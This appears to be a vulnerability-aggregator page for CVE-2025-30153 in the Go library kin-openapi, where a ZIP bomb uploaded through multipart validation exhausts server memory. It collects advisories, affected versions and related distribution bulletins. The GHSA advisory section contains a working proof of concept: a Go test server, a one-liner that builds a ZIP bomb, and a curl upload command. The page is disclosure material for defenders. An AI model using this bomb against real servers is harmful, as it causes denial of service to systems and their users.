Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

kin-openapi · Vulnerability

CVSS 3.1 7.5 HIGHEUVD CVSS 3.1 7.5 CVSS 3.1 · [email protected] · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by github.com/getkin/kin-openapi 0.131.0osv · severity unknownFixed by github.com/getkin/kin-openapi 0.131.0KEV status unknown

cve-program · CVE-2025-30153

Published

kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.

Read the publisher's advisory

euvd · EUVD-2025-6729

Published

kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.

Read the publisher's advisory

nvd · CVE-2025-30153

Published

kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.

Read the publisher's advisory

osv · GHSA-wq9g-9vfc-cfq9

Published

### Summary When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. ### Details The root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse). ### PoC To reproduce the vulnerability, you can use the following OpenAPI schema: ```yaml openapi: 3.0.0 info: title: 'Validator' version: 0.0.1 paths: /: post: requestBody: required: true content: multipart/form-data: schema: type: object required: - file properties: file: type: string format: binary responses: '200': description: Created ``` And this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`): ```go package main import ( "fmt" "log" "net/http" "github.com/getkin/kin-openapi/openapi3filter" legacyrouter "github.com/getkin/kin-openapi/routers/legacy" "github.com/getkin/kin-openapi/openapi3" ) func handler(w http.ResponseWriter, r *http.Request) { loader := openapi3.NewLoader() doc, err := loader.LoadFromFile("schema.yaml") if err != nil { http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError) return } if err := doc.Validate(r.Context()); err != nil { http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest) return } router, err := legacyrouter.NewRouter(doc) if err != nil { http.Error(w, "Failed to create router", http.StatusInternalServerError) return } route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, "Failed to find route", http.StatusNotFound) return } input := &openapi3filter.RequestValidationInput{ Request: r, QueryParams: r.URL.Query(), Route: route, PathParams: pathParams, } if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil { http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest) return } w.Write([]byte("request ok !")) } func main() { http.HandleFunc("/", handler) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive: ```shell perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt ``` Run the PoC provided, and upload the zip bomb with `curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v`. Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) ### Impact An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload. ### Remediation I see at least 2 potential fixes/improvements: - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?) - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)

Read the publisher's advisory

osv · GO-2025-3533

Published

Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2025-30153

Published

kin-openapi

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "getkin",
                    "product": "kin-openapi",
                    "versions": [
                        {
                            "version": "< 0.131.0",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2025-6729

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 19, 2025, 4:03:26 PM

dateUpdated: Mar 19, 2025, 6:25:11 PM

8 related source bulletins · separate from aliases

SUSE-SU-2026:21827-1: Security update for mcphost

CVE-2025-30153 · CVE-2025-47913 · CVE-2025-47914 · CVE-2025-58181 · CVE-2026-32285 · CVE-2026-33186

openSUSE-SU-2026:10731-1: mcphost-0.34.0-1.1 on GA media

CVE-2025-30153 · CVE-2026-32285 · CVE-2026-33186

RHSA-2026:22689: Red Hat Security Advisory: multicluster engine for Kubernetes v2.8.7 security update

CVE-2025-30153 · CVE-2026-33186

openSUSE-SU-2025:14937-1: govulncheck-vulndb-0.0.20250327T184518-1.1 on GA media

CVE-2024-25132 · CVE-2024-53348 · CVE-2024-53351 · CVE-2024-7598 · CVE-2024-7631 · CVE-2024-9042 · CVE-2024-9900 · CVE-2025-1097 · CVE-2025-1098 · CVE-2025-1472 · CVE-2025-1767 · CVE-2025-1974 · CVE-2025-24513 · CVE-2025-24514 · CVE-2025-24920 · CVE-2025-25068 · CVE-2025-25274 · CVE-2025-27612 · CVE-2025-27715 · CVE-2025-27933 · CVE-2025-29778 · CVE-2025-29914 · CVE-2025-29922 · CVE-2025-29923 · CVE-2025-30077 · CVE-2025-30153 · CVE-2025-30162 · CVE-2025-30163 · CVE-2025-30179 · CVE-2025-30204

openSUSE-SU-2026:20788-1: Security update for mcphost

CVE-2025-30153 · CVE-2025-47913 · CVE-2025-47914 · CVE-2025-58181 · CVE-2026-32285 · CVE-2026-33186

openSUSE-SU-2026:10922-1: grafana-11.6.14+security01-4.1 on GA media

CVE-2025-30153

SUSE-SU-2026:21756-1: Security update for mcphost

CVE-2025-30153 · CVE-2025-47913 · CVE-2025-47914 · CVE-2025-58181 · CVE-2026-32285 · CVE-2026-33186

SUSE-SU-2026:3718-1: Security update for grafana

CVE-2025-12141 · CVE-2025-30153 · CVE-2026-21725 · CVE-2026-25680 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-28374 · CVE-2026-28376 · CVE-2026-28379 · CVE-2026-28380 · CVE-2026-28383 · CVE-2026-33376 · CVE-2026-33377 · CVE-2026-33378 · CVE-2026-33380 · CVE-2026-33381 · CVE-2026-33382 · CVE-2026-39821 · CVE-2026-39882 · CVE-2026-41607 · CVE-2026-42502 · CVE-2026-42506

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2025-30153

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-409

Original publisher date fields

published: 2025-03-19T16:15:33.607

lastModified: 2026-06-17T09:08:15.600

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-wq9g-9vfc-cfq9

Published

github.com/getkin/kin-openapi

Go

SEMVER · introduced 0 → fixed 0.131.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2025-3533

Published

github.com/getkin/kin-openapi

Go

SEMVER · introduced 0 → fixed 0.131.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 13:53 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current